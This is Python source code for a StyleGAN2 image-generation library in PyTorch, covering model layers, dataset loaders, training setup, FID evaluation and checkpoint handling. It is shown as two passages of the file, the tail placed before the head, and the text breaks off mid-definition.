= math.ceil(self.calculate_fid_num_images / self.batch_size) fid = self.calculate_fid(num_batches) self.last_fid = fid with open(str(self.results_dir / self.name / f'fid_scores.txt'), 'a') as f: f.write(f'{self.steps},{fid}\n') self.steps += 1 self.av = None @torch.no_grad() def evaluate(self, num = 0, trunc = 1.0): self.GAN.eval() ext = self.image_extension num_rows = self.num_image_tiles latent_dim = self.GAN.G.latent_dim image_size = self.GAN.G.image_size num_layers = self.GAN.G.num_layers # latents and noise latents = noise_list(num_rows ** 2, num_layers, latent_dim, device=self.rank) n = image_noise(num_rows ** 2, image_size, device=self.rank) # regular generated_images = self.generate_truncated(self.GAN.S, self.GAN.G, latents, n, trunc_psi = self.trunc_psi) torchvision.utils.save_image(generated_images, str(self.results_dir / self.name / f'{str(num)}.{ext}'), nrow=num_rows) # moving averages generated_images = self.generate_truncated(self.GAN.SE, self.GAN.GE, latents, n, trunc_psi = self.trunc_psi) torchvision.utils.save_image(generated_images, str(self.results_dir / self.name / f'{str(num)}-ema.{ext}'), nrow=num_rows) # mixing regularities def tile(a, dim, n_tile): init_dim = a.size(dim) repeat_idx = [1] * a.dim() repeat_idx[dim] = n_tile a = a.repeat(*(repeat_idx)) order_index = torch.LongTensor(np.concatenate([init_dim * np.arange(n_tile) + i for i in range(init_dim)])).cuda(self.rank) return torch.index_select(a, dim, order_index) nn = noise(num_rows, latent_dim, device=self.rank) tmp1 = tile(nn, 0, num_rows) tmp2 = nn.repeat(num_rows, 1) tt = int(num_layers / 2) mixed_latents = [(tmp1, tt), (tmp2, num_layers - tt)] generated_images = self.generate_truncated(self.GAN.SE, self.GAN.GE, mixed_latents, n, trunc_psi = self.trunc_psi) torchvision.utils.save_image(generated_images, str(self.results_dir / self.name / f'{str(num)}-mr.{ext}'), nrow=num_rows) @torch.no_grad() def calculate_fid(self, num_batches): from pytorch_fid import fid_score torch.cuda.empty_cache() real_path = self.fid_dir / 'real' fake_path = self.fid_dir / 'fake' # remove any existing files used for fid calculation and recreate directories if not real_path.exists() or self.clear_fid_cache: rmtree(real_path, ignore_errors=True) os.makedirs(real_path) for batch_num in tqdm(range(num_batches), desc='calculating FID - saving reals'): real_batch = next(self.loader) for k, image in enumerate(real_batch.unbind(0)): filename = str(k + batch_num * self.batch_size) torchvision.utils.save_image(image, str(real_path / f'{filename}.png')) # generate a bunch of fake images in results / name / fid_fake rmtree(fake_path, ignore_errors=True) os.makedirs(fake_path) self.GAN.eval() ext = self.image_extension latent_dim = self.GAN.G.latent_dim image_size = self.GAN.G.image_size num_layers = self.GAN.G.num_layers for batch_num in tqdm(range(num_batches), desc='calculating FID - saving generated'): # latents and noise latents = noise_list(self.batch_size, num_layers, latent_dim, device=self.rank) noise = image_noise(self.batch_size, image_size, device=self.rank) # moving averages generated_images = self.generate_truncated(self.GAN.SE, self.GAN.GE, latents, noise, trunc_psi = self.trunc_psi) for j, image in enumerate(generated_images.unbind(0)): torchvision.utils.save_image(image, str(fake_path / f'{str(j + batch_num * self.batch_size)}-ema.{ext}')) return fid_score.calculate_fid_given_paths([str(real_path), str(fake_path)], 256, noise.device, 2048) @torch.no_grad() def truncate_style(self, tensor, trunc_psi = 0.75): S = self.GAN.S batch_size = self.batch_size latent_dim = self.GAN.G.latent_dim if not exists(self.av): z = noise(2000, latent_dim, device=self.rank) samples = evaluate_in_chunks(batch_size, S, z).cpu().numpy() self.av = np.mean(samples, axis = 0) self.av = np.expand_dims(self.av, axis = 0) av_torch = torch.from_numpy(self.av).cuda(self.rank) tensor = trunc_psi * (tensor - av_torch) + av_torch return tensor @torch.no_grad() def truncate_style_defs(self, w, trunc_psi = 0.75): w_space = [] for tensor, num_layers in w: tensor = self.truncate_style(tensor, trunc_psi = trunc_psi) w_space.append((tensor, num_layers)) return w_space @torch.no_grad() def generate_truncated(self, S, G, style, noi, trunc_psi = 0.75, num_image_tiles = 8): w = map(lambda t: (S(t[0]), t[1]), style) w_truncated = self.truncate_style_defs(w, trunc_psi = trunc_psi) w_styles = styles_def_to_tensor(w_truncated) generated_images = evaluate_in_chunks(self.batch_size, G, w_styles, noi) return generated_images.clamp_(0., 1.) @torch.no_grad() def generate_interpolation(self, num = 0, num_image_tiles = 8, trunc = 1.0, num_steps = 100, save_frames = False): self.GAN.eval() ext = self.image_extension num_rows = num_image_tiles latent_dim = self.GAN.G.latent_dim image_size = self.GAN.G.image_size num_layers = self.GAN.G.num_layers # latents and noise latents_low = noise(num_rows ** 2, latent_dim, device=self.rank) latents_high = noise(num_rows ** 2, latent_dim, device=self.rank) n = image_noise(num_rows ** 2, image_size, device=self.rank) ratios = torch.linspace(0., 8., num_steps) frames = [] for ratio in tqdm(ratios): interp_latents = slerp(ratio, latents_low, latents_high) latents = [(interp_latents, num_layers)] generated_images = self.generate_truncated(self.GAN.SE, self.GAN.GE, latents, n, trunc_psi = self.trunc_psi) images_grid = torchvision.utils.make_grid(generated_images, nrow = num_rows) pil_image = transforms.ToPILImage()(images_grid.cpu()) if self.transparent: background = Image.new("RGBA", pil_image.size, (255, 255, 255)) pil_image = Image.alpha_composite(background, pil_image) frames.append(pil_image) frames[0].save(str(self.results_dir / self.name / f'{str(num)}.gif'), save_all=True, append_images=frames[1:], duration=80, loop=0, optimize=True) if save_frames: folder_path = (self.results_dir / self.name / f'{str(num)}') folder_path.mkdir(parents=True, exist_ok=True) for ind, frame in enumerate(frames): frame.save(str(folder_path / f'{str(ind)}.{ext}')) def print_log(self): data = [ ('G', self.g_loss), ('D', self.d_loss), ('GP', self.last_gp_loss), ('PL', self.pl_mean), ('CR', self.last_cr_loss), ('Q', self.q_loss), ('FID', self.last_fid) ] data = [d for d in data if exists(d[1])] log = ' | '.join(map(lambda n: f'{n[0]}: {n[1]:.2f}', data)) print(log) def track(self, value, name): if not exists(self.logger): return self.logger.track(value, name = name) def model_name(self, num): return str(self.models_dir / self.name / f'model_{num}.pt') def init_folders(self): (self.results_dir / self.name).mkdir(parents=True, exist_ok=True) (self.models_dir / self.name).mkdir(parents=True, exist_ok=True) def clear(self): rmtree(str(self.models_dir / self.name), True) rmtree(str(self.results_dir / self.name), True) rmtree(str(self.fid_dir), True) rmtree(str(self.config_path), True) self.init_folders() def save(self, num): save_data = { 'GAN': self.GAN.state_dict(), 'version': __version__ } if self.GAN.fp16: save_data['amp'] = amp.state_dict() torch.save(save_data, self.model_name(num)) self.write_config() def load(self, num = -1): self.load_config() name = num if num == -1: file_paths = [p for p in Path(self.models_dir / self.name).glob('model_*.pt')] saved_nums = sorted(map(lambda x: int(x.stem.split('_')[1]), file_paths)) if len(saved_nums) == 0: return name = saved_nums[-1] print(f'continuing from previous epoch - {name}') self.steps = name * self.save_every load_data = torch.load(self.model_name(name)) if 'version' in load_data: print(f"loading from version {load_data["version"]}") try: self.GAN.load_state_dict(load_data['GAN']) except Exception as e: print('unable to load save model. please try downgrading the package to the version specified by the saved model') raise e if self.GAN.fp16 and 'amp' in load_data: amp.load_state_dict(load_data['amp']) class ModelLoader: def __init__(self, *, base_dir, name = 'default', load_from = -1): self.model = Trainer(name = name, base_dir = base_dir) self.model.load(load_from) def noise_to_styles(self, noise, trunc_psi = None): noise = noise.cuda() w = self.model.GAN.SE(noise) if exists(trunc_psi): w = self.model.truncate_style(w) return w def styles_to_images(self, w): batch_size, *_ = w.shape num_layers = self.model.GAN.GE.num_layers image_size = self.model.image_size w_def = [(w, num_layers)] w_tensors = styles_def_to_tensor(w_def) noise = image_noise(batch_size, image_size, device = 0) images = self.model.GAN.GE(w_tensors, noise) images.clamp_(0., 1.) return images
import os import sys import math import fire import json import urllib.request import urllib.parse import io from tqdm import tqdm from math import floor, log2 from random import random from shutil import rmtree from functools import partial import multiprocessing from contextlib import contextmanager, ExitStack import numpy as np import torch from torch import nn from torch.utils import data from torch.optim import Adam import torch.nn.functional as F from torch.autograd import grad as torch_grad from torch.utils.data.distributed import DistributedSampler from torch.nn.parallel import DistributedDataParallel as DDP from kornia.filters import filter2D import torchvision from torchvision import transforms from stylegan2_pytorch.version import __version__ from stylegan2_pytorch.diff_augment import DiffAugment from vector_quantize_pytorch import VectorQuantize from linear_attention_transformer import ImageLinearAttention from PIL import Image from pathlib import Path try: from apex import amp APEX_AVAILABLE = True except: APEX_AVAILABLE = False import aim assert torch.cuda.is_available(), 'You need to have an Nvidia GPU with CUDA installed.' # constants NUM_CORES = multiprocessing.cpu_count() EXTS = ['jpg', 'jpeg', 'png'] # helper classes class NanException(Exception): pass class EMA(): def __init__(self, beta): super().__init__() self.beta = beta def update_average(self, old, new): if not exists(old): return new return old * self.beta + (1 - self.beta) * new class Flatten(nn.Module): def forward(self, x): return x.reshape(x.shape[0], -1) class RandomApply(nn.Module): def __init__(self, prob, fn, fn_else = lambda x: x): super().__init__() self.fn = fn self.fn_else = fn_else self.prob = prob def forward(self, x): fn = self.fn if random() < self.prob else self.fn_else return fn(x) class Residual(nn.Module): def __init__(self, fn): super().__init__() self.fn = fn def forward(self, x): return self.fn(x) + x class Rezero(nn.Module): def __init__(self, fn): super().__init__() self.fn = fn self.g = nn.Parameter(torch.zeros(1)) def forward(self, x): return self.fn(x) * self.g class PermuteToFrom(nn.Module): def __init__(self, fn): super().__init__() self.fn = fn def forward(self, x): x = x.permute(0, 2, 3, 1) out, loss = self.fn(x) out = out.permute(0, 3, 1, 2) return out, loss class Blur(nn.Module): def __init__(self): super().__init__() f = torch.Tensor([1, 2, 1]) self.register_buffer('f', f) def forward(self, x): f = self.f f = f[None, None, :] * f [None, :, None] return filter2D(x, f, normalized=True) # one layer of self-attention and feedforward, for images attn_and_ff = lambda chan: nn.Sequential(*[ Residual(Rezero(ImageLinearAttention(chan, norm_queries = True))), Residual(Rezero(nn.Sequential(nn.Conv2d(chan, chan * 2, 1), leaky_relu(), nn.Conv2d(chan * 2, chan, 1)))) ]) # helpers def exists(val): return val is not None @contextmanager def null_context(): yield def combine_contexts(contexts): @contextmanager def multi_contexts(): with ExitStack() as stack: yield [stack.enter_context(ctx()) for ctx in contexts] return multi_contexts def default(value, d): return value if exists(value) else d def cycle(iterable): while True: for i in iterable: yield i def cast_list(el): return el if isinstance(el, list) else [el] def is_empty(t): if isinstance(t, torch.Tensor): return t.nelement() == 0 return not exists(t) def raise_if_nan(t): if torch.isnan(t): raise NanException def gradient_accumulate_contexts(gradient_accumulate_every, is_ddp, ddps): if is_ddp: num_no_syncs = gradient_accumulate_every - 1 head = [combine_contexts(map(lambda ddp: ddp.no_sync, ddps))] * num_no_syncs tail = [null_context] contexts = head + tail else: contexts = [null_context] * gradient_accumulate_every for context in contexts: with context(): yield def loss_backwards(fp16, loss, optimizer, loss_id, **kwargs): if fp16: with amp.scale_loss(loss, optimizer, loss_id) as scaled_loss: scaled_loss.backward(**kwargs) else: loss.backward(**kwargs) def gradient_penalty(images, output, weight = 10): batch_size = images.shape[0] gradients = torch_grad(outputs=output, inputs=images, grad_outputs=torch.ones(output.size(), device=images.device), create_graph=True, retain_graph=True, only_inputs=True)[0] gradients = gradients.reshape(batch_size, -1) return weight * ((gradients.norm(2, dim=1) - 1) ** 2).mean() def calc_pl_lengths(styles, images): device = images.device num_pixels = images.shape[2] * images.shape[3] pl_noise = torch.randn(images.shape, device=device) / math.sqrt(num_pixels) outputs = (images * pl_noise).sum() pl_grads = torch_grad(outputs=outputs, inputs=styles, grad_outputs=torch.ones(outputs.shape, device=device), create_graph=True, retain_graph=True, only_inputs=True)[0] return (pl_grads ** 2).sum(dim=2).mean(dim=1).sqrt() def noise(n, latent_dim, device): return torch.randn(n, latent_dim).cuda(device) def noise_list(n, layers, latent_dim, device): return [(noise(n, latent_dim, device), layers)] def mixed_list(n, layers, latent_dim, device): tt = int(torch.rand(()).numpy() * layers) return noise_list(n, tt, latent_dim, device) + noise_list(n, layers - tt, latent_dim, device) def latent_to_w(style_vectorizer, latent_descr): return [(style_vectorizer(z), num_layers) for z, num_layers in latent_descr] def image_noise(n, im_size, device): return torch.FloatTensor(n, im_size, im_size, 1).uniform_(0., 1.).cuda(device) def leaky_relu(p=0.2): return nn.LeakyReLU(p, inplace=True) def evaluate_in_chunks(max_batch_size, model, *args): split_args = list(zip(*list(map(lambda x: x.split(max_batch_size, dim=0), args)))) chunked_outputs = [model(*i) for i in split_args] if len(chunked_outputs) == 1: return chunked_outputs[0] return torch.cat(chunked_outputs, dim=0) def styles_def_to_tensor(styles_def): return torch.cat([t[:, None, :].expand(-1, n, -1) for t, n in styles_def], dim=1) def set_requires_grad(model, bool): for p in model.parameters(): p.requires_grad = bool def slerp(val, low, high): low_norm = low / torch.norm(low, dim=1, keepdim=True) high_norm = high / torch.norm(high, dim=1, keepdim=True) omega = torch.acos((low_norm * high_norm).sum(1)) so = torch.sin(omega) res = (torch.sin((1.0 - val) * omega) / so).unsqueeze(1) * low + (torch.sin(val * omega) / so).unsqueeze(1) * high return res # dataset def convert_rgb_to_transparent(image): if image.mode != 'RGBA': return image.convert('RGBA') return image def convert_transparent_to_rgb(image): if image.mode != 'RGB': return image.convert('RGB') return image class expand_greyscale(object): def __init__(self, transparent): self.transparent = transparent def __call__(self, tensor): channels = tensor.shape[0] num_target_channels = 4 if self.transparent else 3 if channels == num_target_channels: return tensor alpha = None if channels == 1: color = tensor.expand(3, -1, -1) elif channels == 2: color = tensor[:1].expand(3, -1, -1) alpha = tensor[1:] else: raise Exception(f'image with invalid number of channels given {channels}') if not exists(alpha) and self.transparent: alpha = torch.ones(1, *tensor.shape[1:], device=tensor.device) return color if not self.transparent else torch.cat((color, alpha)) def resize_to_minimum_size(min_size, image): if max(*image.size) < min_size: return torchvision.transforms.functional.resize(image, min_size) return image class Dataset(data.Dataset): def __init__(self, folder, image_size, transparent = False, aug_prob = 0.): super().__init__() self.folder = folder self.image_size = image_size self.paths = [p for ext in EXTS for p in Path(f'{folder}').glob(f'**/*.{ext}')] assert len(self.paths) > 0, f'No images were found in {folder} for training' convert_image_fn = convert_transparent_to_rgb if not transparent else convert_rgb_to_transparent num_channels = 3 if not transparent else 4 self.transform = transforms.Compose([ transforms.Lambda(convert_image_fn), transforms.Lambda(partial(resize_to_minimum_size, image_size)), transforms.Resize(image_size), RandomApply(aug_prob, transforms.RandomResizedCrop(image_size, scale=(0.5, 1.0), ratio=(0.98, 1.02)), transforms.CenterCrop(image_size)), transforms.ToTensor(), transforms.Lambda(expand_greyscale(transparent)) ]) def __len__(self): return len(self.paths) def __getitem__(self, index): path = self.paths[index] img = Image.open(path) return self.transform(img) class NetworkDataset(data.Dataset): def __init__(self, host, image_size, transparent = False, aug_prob = 0.): super().__init__() self.host = host self.image_size = image_size with urllib.request.urlopen(host + 'list') as response: self.paths = json.loads(response.read()) self.paths = [path.replace('\\', '/') for path in self.paths] assert len(self.paths) > 0, f'No images were found in {host} for training' convert_image_fn = convert_transparent_to_rgb if not transparent else convert_rgb_to_transparent num_channels = 3 if not transparent else 4 self.transform = transforms.Compose([ transforms.Lambda(convert_image_fn), transforms.Lambda(partial(resize_to_minimum_size, image_size)), transforms.Resize(image_size), RandomApply(aug_prob, transforms.RandomResizedCrop(image_size, scale=(0.5, 1.0), ratio=(0.98, 1.02)), transforms.CenterCrop(image_size)), transforms.ToTensor(), transforms.Lambda(expand_greyscale(transparent)) ]) def __len__(self): return len(self.paths) def __getitem__(self, index): path = self.paths[index] request = urllib.request.urlopen(self.host + urllib.parse.quote(path)) img = Image.open(io.BytesIO(request.read())) return self.transform(img) # augmentations def random_hflip(tensor, prob): if prob > random(): return tensor return torch.flip(tensor, dims=(3,)) class AugWrapper(nn.Module): def __init__(self, D, image_size): super().__init__() self.D = D def forward(self, images, prob = 0., types = [], detach = False): if random() < prob: images = random_hflip(images, prob=0.5) images = DiffAugment(images, types=types) if detach: images = images.detach() return self.D(images) # stylegan2 classes class EqualLinear(nn.Module): def __init__(self, in_dim, out_dim, lr_mul = 1, bias = True): super().__init__() self.weight = nn.Parameter(torch.randn(out_dim, in_dim)) if bias: self.bias = nn.Parameter(torch.zeros(out_dim)) self.lr_mul = lr_mul def forward(self, input): return F.linear(input, self.weight * self.lr_mul, bias=self.bias * self.lr_mul) class StyleVectorizer(nn.Module): def __init__(self, emb, depth, lr_mul = 0.1): super().__init__() layers = [] for i in range(depth): layers.extend([EqualLinear(emb, emb, lr_mul), leaky_relu()]) self.net = nn.Sequential(*layers) def forward(self, x): x = F.normalize(x, dim=1) return self.net(x) class RGBBlock(nn.Module): def __init__(self, latent_dim, input_channel, upsample, rgba = False): super().__init__() self.input_channel = input_channel self.to_style = nn.Linear(latent_dim, input_channel) out_filters = 3 if not rgba else 4 self.conv = Conv2DMod(input_channel, out_filters, 1, demod=False) self.upsample = nn.Sequential( nn.Upsample(scale_factor = 2, mode='bilinear', align_corners=False), Blur() ) if upsample else None def forward(self, x, prev_rgb, istyle): b, c, h, w = x.shape style = self.to_style(istyle) x = self.conv(x, style) if exists(prev_rgb): x = x + prev_rgb if exists(self.upsample): x = self.upsample(x) return x class Conv2DMod(nn.Module): def __init__(self, in_chan, out_chan, kernel, demod=True, stride=1, dilation=1, eps = 1e-8, **kwargs): super().__init__() self.filters = out_chan self.demod = demod self.kernel = kernel self.stride = stride self.dilation = dilation self.weight = nn.Parameter(torch.randn((out_chan, in_chan, kernel, kernel))) self.eps = eps nn.init.kaiming_normal_(self.weight, a=0, mode='fan_in', nonlinearity='leaky_relu') def _get_same_padding(self, size, kernel, dilation, stride): return ((size - 1) * (stride - 1) + dilation * (kernel - 1)) // 2 def forward(self, x, y): b, c, h, w = x.shape w1 = y[:, None, :, None, None] w2 = self.weight[None, :, :, :, :] weights = w2 * (w1 + 1) if self.demod: d = torch.rsqrt((weights ** 2).sum(dim=(2, 3, 4), keepdim=True) + self.eps) weights = weights * d x = x.reshape(1, -1, h, w) _, _, *ws = weights.shape weights = weights.reshape(b * self.filters, *ws) padding = self._get_same_padding(h, self.kernel, self.dilation, self.stride) x = F.conv2d(x, weights, padding=padding, groups=b) x = x.reshape(-1, self.filters, h, w) return x class GeneratorBlock(nn.Module): def __init__(self, latent_dim, input_channels, filters, upsample = True, upsample_rgb = True, rgba = False): super().__init__() self.upsample = nn.Upsample(scale_factor=2, mode='bilinear', align_corners=False) if upsample else None self.to_style1 = nn.Linear(latent_dim, input_channels) self.to_noise1 = nn.Linear(1, filters) self.conv1 = Conv2DMod(input_channels, filters, 3) self.to_style2 = nn.Linear(latent_dim, filters) self.to_noise2 = nn.Linear(1, filters) self.conv2 = Conv2DMod(filters, filters, 3) self.activation = leaky_relu() self.to_rgb = RGBBlock(latent_dim, filters, upsample_rgb, rgba) def forward(self, x, prev_rgb, istyle, inoise): if exists(self.upsample): x = self.upsample(x) inoise = inoise[:, :x.shape[2], :x.shape[3], :] noise1 = self.to_noise1(inoise).permute((0, 3, 2, 1)) noise2 = self.to_noise2(inoise).permute((0, 3, 2, 1)) style1 = self.to_style1(istyle) x = self.conv1(x, style1) x = self.activation(x + noise1) style2 = self.to_style2(istyle) x = self.conv2(x, style2) x = self.activation(x + noise2) rgb = self.to_rgb(x, prev_rgb, istyle) return x, rgb class DiscriminatorBlock(nn.Module): def __init__(self, input_channels, filters, downsample=True): super().__init__() self.conv_res = nn.Conv2d(input_channels, filters, 1, stride = (2 if downsample else 1)) self.net = nn.Sequential( nn.Conv2d(input_channels, filters, 3, padding=1), leaky_relu(), nn.Conv2d(filters, filters, 3, padding=1), leaky_relu() ) self.downsample = nn.Sequential( Blur(), nn.Conv2d(filters, filters, 3, padding = 1, stride = 2) ) if downsample else None def forward(self, x): res = self.conv_res(x) x = self.net(x) if exists(self.downsample): x = self.downsample(x) x = (x + res) * (1 / math.sqrt(2)) return x class Generator(nn.Module): def __init__(self, image_size, latent_dim, network_capacity = 16, transparent = False, attn_layers = [], no_const = False, fmap_max = 512): super().__init__() self.image_size = image_size self.latent_dim = latent_dim self.num_layers = int(log2(image_size) - 1) filters = [network_capacity * (2 ** (i + 1)) for i in range(self.num_layers)][::-1] set_fmap_max = partial(min, fmap_max) filters = list(map(set_fmap_max, filters)) init_channels = filters[0] filters = [init_channels, *filters] in_out_pairs = zip(filters[:-1], filters[1:]) self.no_const = no_const if no_const: self.to_initial_block = nn.ConvTranspose2d(latent_dim, init_channels, 4, 1, 0, bias=False) else: self.initial_block = nn.Parameter(torch.randn((1, init_channels, 4, 4))) self.initial_conv = nn.Conv2d(filters[0], filters[0], 3, padding=1) self.blocks = nn.ModuleList([]) self.attns = nn.ModuleList([]) for ind, (in_chan, out_chan) in enumerate(in_out_pairs): not_first = ind != 0 not_last = ind != (self.num_layers - 1) num_layer = self.num_layers - ind attn_fn = attn_and_ff(in_chan) if num_layer in attn_layers else None self.attns.append(attn_fn) block = GeneratorBlock( latent_dim, in_chan, out_chan, upsample = not_first, upsample_rgb = not_last, rgba = transparent ) self.blocks.append(block) def forward(self, styles, input_noise): batch_size = styles.shape[0] image_size = self.image_size if self.no_const: avg_style = styles.mean(dim=1)[:, :, None, None] x = self.to_initial_block(avg_style) else: x = self.initial_block.expand(batch_size, -1, -1, -1) rgb = None styles = styles.transpose(0, 1) x = self.initial_conv(x) for style, block, attn in zip(styles, self.blocks, self.attns): if exists(attn): x = attn(x) x, rgb = block(x, rgb, style, input_noise) return rgb class Discriminator(nn.Module): def __init__(self, image_size, network_capacity = 16, fq_layers = [], fq_dict_size = 256, attn_layers = [], transparent = False, fmap_max = 512): super().__init__() num_layers = int(log2(image_size) - 1) num_init_filters = 3 if not transparent else 4 blocks = [] filters = [num_init_filters] + [(network_capacity * 4) * (2 ** i) for i in range(num_layers + 1)] set_fmap_max = partial(min, fmap_max) filters = list(map(set_fmap_max, filters)) chan_in_out = list(zip(filters[:-1], filters[1:])) blocks = [] attn_blocks = [] quantize_blocks = [] for ind, (in_chan, out_chan) in enumerate(chan_in_out): num_layer = ind + 1 is_not_last = ind != (len(chan_in_out) - 1) block = DiscriminatorBlock(in_chan, out_chan, downsample = is_not_last) blocks.append(block) attn_fn = attn_and_ff(out_chan) if num_layer in attn_layers else None attn_blocks.append(attn_fn) quantize_fn = PermuteToFrom(VectorQuantize(out_chan, fq_dict_size)) if num_layer in fq_layers else None quantize_blocks.append(quantize_fn) self.blocks = nn.ModuleList(blocks) self.attn_blocks = nn.ModuleList(attn_blocks) self.quantize_blocks = nn.ModuleList(quantize_blocks) chan_last = filters[-1] latent_dim = 2 * 2 * chan_last self.final_conv = nn.Conv2d(chan_last, chan_last, 3, padding=1) self.flatten = Flatten() self.to_logit = nn.Linear(latent_dim, 1) def forward(self, x): b, *_ = x.shape quantize_loss = torch.zeros(1).to(x) for (block, attn_block, q_block) in zip(self.blocks, self.attn_blocks, self.quantize_blocks): x = block(x) if exists(attn_block): x = attn_block(x) if exists(q_block): x, _, loss = q_block(x) quantize_loss += loss x = self.final_conv(x) x = self.flatten(x) x = self.to_logit(x) return x.squeeze(), quantize_loss class StyleGAN2(nn.Module): def __init__(self, image_size, latent_dim = 512, fmap_max = 512, style_depth = 8, network_capacity = 16, transparent = False, fp16 = False, cl_reg = False, steps = 1, lr = 1e-4, ttur_mult = 2, fq_layers = [], fq_dict_size = 256, attn_layers = [], no_const = False, lr_mlp = 0.1, rank = 0): super().__init__() self.lr = lr self.steps = steps self.ema_updater = EMA(0.995) self.S = StyleVectorizer(latent_dim, style_depth, lr_mul = lr_mlp) self.G = Generator(image_size, latent_dim, network_capacity, transparent = transparent, attn_layers = attn_layers, no_const = no_const, fmap_max = fmap_max) self.D = Discriminator(image_size, network_capacity, fq_layers = fq_layers, fq_dict_size = fq_dict_size, attn_layers = attn_layers, transparent = transparent, fmap_max = fmap_max) self.SE = StyleVectorizer(latent_dim, style_depth, lr_mul = lr_mlp) self.GE = Generator(image_size, latent_dim, network_capacity, transparent = transparent, attn_layers = attn_layers, no_const = no_const) self.D_cl = None if cl_reg: from contrastive_learner import ContrastiveLearner # experimental contrastive loss discriminator regularization assert not transparent, 'contrastive loss regularization does not work with transparent images yet' self.D_cl = ContrastiveLearner(self.D, image_size, hidden_layer='flatten') # wrapper for augmenting all images going into the discriminator self.D_aug = AugWrapper(self.D, image_size) # turn off grad for exponential moving averages set_requires_grad(self.SE, False) set_requires_grad(self.GE, False) # init optimizers generator_params = list(self.G.parameters()) + list(self.S.parameters()) self.G_opt = Adam(generator_params, lr = self.lr, betas=(0.5, 0.9)) self.D_opt = Adam(self.D.parameters(), lr = self.lr * ttur_mult, betas=(0.5, 0.9)) # init weights self._init_weights() self.reset_parameter_averaging() self.cuda(rank) # startup apex mixed precision self.fp16 = fp16 if fp16: (self.S, self.G, self.D, self.SE, self.GE), (self.G_opt, self.D_opt) = amp.initialize([self.S, self.G, self.D, self.SE, self.GE], [self.G_opt, self.D_opt], opt_level='O1', num_losses=3) def _init_weights(self): for m in self.modules(): if type(m) in {nn.Conv2d, nn.Linear}: nn.init.kaiming_normal_(m.weight, a=0, mode='fan_in', nonlinearity='leaky_relu') for block in self.G.blocks: nn.init.zeros_(block.to_noise1.weight) nn.init.zeros_(block.to_noise2.weight) nn.init.zeros_(block.to_noise1.bias) nn.init.zeros_(block.to_noise2.bias) def EMA(self): def update_moving_average(ma_model, current_model): for current_params, ma_params in zip(current_model.parameters(), ma_model.parameters()): old_weight, up_weight = ma_params.data, current_params.data ma_params.data = self.ema_updater.update_average(old_weight, up_weight) update_moving_average(self.SE, self.S) update_moving_average(self.GE, self.G) def reset_parameter_averaging(self): self.SE.load_state_dict(self.S.state_dict()) self.GE.load_state_dict(self.G.state_dict()) def forward(self, x): return x class Trainer(): def __init__( self, name = 'default', results_dir = 'results', models_dir = 'models', base_dir = './', image_size = 128, network_capacity = 16, fmap_max = 512, transparent = False, batch_size = 4, mixed_prob = 0.9, gradient_accumulate_every=1, lr = 2e-4, lr_mlp = 0.1, ttur_mult = 2, rel_disc_loss = False, num_workers = None, save_every = 1000, evaluate_every = 1000, num_image_tiles = 8, trunc_psi = 0.6, fp16 = False, cl_reg = False, no_pl_reg = False, fq_layers = [], fq_dict_size = 256, attn_layers = [], no_const = False, aug_prob = 0., aug_types = ['translation', 'cutout'], top_k_training = False, generator_top_k_gamma = 0.99, generator_top_k_frac = 0.5, dataset_aug_prob = 0., calculate_fid_every = None, calculate_fid_num_images = 12800, clear_fid_cache = False, is_ddp = False, rank = 0, world_size = 1, log = False, *args, **kwargs ): self.GAN_params = [args, kwargs] self.GAN = None self.name = name base_dir = Path(base_dir) self.base_dir = base_dir self.results_dir = base_dir / results_dir self.models_dir = base_dir / models_dir self.fid_dir = base_dir / 'fid' / name self.config_path = self.models_dir / name / '.config.json' assert log2(image_size).is_integer(), 'image size must be a power of 2 (64, 128, 256, 512, 1024)' self.image_size = image_size self.network_capacity = network_capacity self.fmap_max = fmap_max self.transparent = transparent self.fq_layers = cast_list(fq_layers) self.fq_dict_size = fq_dict_size self.has_fq = len(self.fq_layers) > 0 self.attn_layers = cast_list(attn_layers) self.no_const = no_const self.aug_prob = aug_prob self.aug_types = aug_types self.lr = lr self.lr_mlp = lr_mlp self.ttur_mult = ttur_mult self.rel_disc_loss = rel_disc_loss self.batch_size = batch_size self.num_workers = num_workers self.mixed_prob = mixed_prob self.num_image_tiles = num_image_tiles self.evaluate_every = evaluate_every self.save_every = save_every self.steps = 0 self.av = None self.trunc_psi = trunc_psi self.no_pl_reg = no_pl_reg self.pl_mean = None self.gradient_accumulate_every = gradient_accumulate_every assert not fp16 or fp16 and APEX_AVAILABLE, 'Apex is not available for you to use mixed precision training' self.fp16 = fp16 self.cl_reg = cl_reg self.d_loss = 0 self.g_loss = 0 self.q_loss = None self.last_gp_loss = None self.last_cr_loss = None self.last_fid = None self.pl_length_ma = EMA(0.99) self.init_folders() self.loader = None self.dataset_aug_prob = dataset_aug_prob self.calculate_fid_every = calculate_fid_every self.calculate_fid_num_images = calculate_fid_num_images self.clear_fid_cache = clear_fid_cache self.top_k_training = top_k_training self.generator_top_k_gamma = generator_top_k_gamma self.generator_top_k_frac = generator_top_k_frac assert not (is_ddp and cl_reg), 'Contrastive loss regularization does not work well with multi GPUs yet' self.is_ddp = is_ddp self.is_main = rank == 0 self.rank = rank self.world_size = world_size self.logger = aim.Session(experiment=name) if log else None @property def image_extension(self): return 'jpg' if not self.transparent else 'png' @property def checkpoint_num(self): return floor(self.steps // self.save_every) @property def hparams(self): return {'image_size': self.image_size, 'network_capacity': self.network_capacity} def init_GAN(self): args, kwargs = self.GAN_params self.GAN = StyleGAN2(lr = self.lr, lr_mlp = self.lr_mlp, ttur_mult = self.ttur_mult, image_size = self.image_size, network_capacity = self.network_capacity, fmap_max = self.fmap_max, transparent = self.transparent, fq_layers = self.fq_layers, fq_dict_size = self.fq_dict_size, attn_layers = self.attn_layers, fp16 = self.fp16, cl_reg = self.cl_reg, no_const = self.no_const, rank = self.rank, *args, **kwargs) if self.is_ddp: ddp_kwargs = {'device_ids': [self.rank]} self.S_ddp = DDP(self.GAN.S, **ddp_kwargs) self.G_ddp = DDP(self.GAN.G, **ddp_kwargs) self.D_ddp = DDP(self.GAN.D, **ddp_kwargs) self.D_aug_ddp = DDP(self.GAN.D_aug, **ddp_kwargs) if exists(self.logger): self.logger.set_params(self.hparams) def write_config(self): self.config_path.write_text(json.dumps(self.config())) def load_config(self): config = self.config() if not self.config_path.exists() else json.loads(self.config_path.read_text()) self.image_size = config['image_size'] self.network_capacity = config['network_capacity'] self.transparent = config['transparent'] self.fq_layers = config['fq_layers'] self.fq_dict_size = config['fq_dict_size'] self.fmap_max = config.pop('fmap_max', 512) self.attn_layers = config.pop('attn_layers', []) self.no_const = config.pop('no_const', False) self.lr_mlp = config.pop('lr_mlp', 0.1) del self.GAN self.init_GAN() def config(self): return {'image_size': self.image_size, 'network_capacity': self.network_capacity, 'lr_mlp': 